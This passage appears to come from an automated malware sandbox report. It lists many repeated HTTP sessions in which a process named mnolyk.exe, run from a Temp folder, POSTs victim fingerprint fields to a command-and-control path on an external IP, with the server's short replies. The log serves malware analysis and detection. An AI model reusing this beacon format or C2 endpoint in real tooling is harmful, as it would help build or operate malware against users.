Feb 7, 2023 23:10:27.584702969 CET	887	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
773	192.168.2.7	50468	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:27.766830921 CET	888	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:27.829786062 CET	888	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
774	192.168.2.7	50469	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:28.062597036 CET	889	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:28.126764059 CET	889	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
775	192.168.2.7	50470	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:28.297772884 CET	890	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:28.361551046 CET	890	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
776	192.168.2.7	50471	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:28.534173965 CET	891	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:28.599333048 CET	891	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
777	192.168.2.7	50472	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:28.781018019 CET	892	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:28.845155001 CET	892	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
778	192.168.2.7	50473	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:29.015985966 CET	893	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:29.081521988 CET	893	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
779	192.168.2.7	50474	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:29.268969059 CET	894	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:29.332952976 CET	894	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.7	49773	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:22.191272974 CET	193	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:22.257436037 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
780	192.168.2.7	50475	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:29.511990070 CET	895	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:29.575716972 CET	895	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
781	192.168.2.7	50476	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:29.753559113 CET	896	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:29.817495108 CET	896	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
782	192.168.2.7	50477	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:29.999027967 CET	897	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:30.062169075 CET	897	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
783	192.168.2.7	50478	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:30.234168053 CET	898	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:30.297786951 CET	898	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.7	49774	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:22.447557926 CET	194	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:22.509736061 CET	194	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49702	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:03.497684956 CET	112	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:03.560082912 CET	112	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.7	49775	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:22.751530886 CET	195	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:22.830991030 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.7	49776	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:23.001075029 CET	196	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:23.067475080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.7	49777	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:23.237313032 CET	197	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:23.300386906 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.7	49778	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:23.476929903 CET	198	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:23.538858891 CET	198	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.7	49779	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:23.701654911 CET	199	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:23.763823032 CET	199	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.7	49780	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:23.953445911 CET	200	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:24.016743898 CET	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.7	49781	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:24.188555956 CET	201	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:24.251075029 CET	201	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.7	49782	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
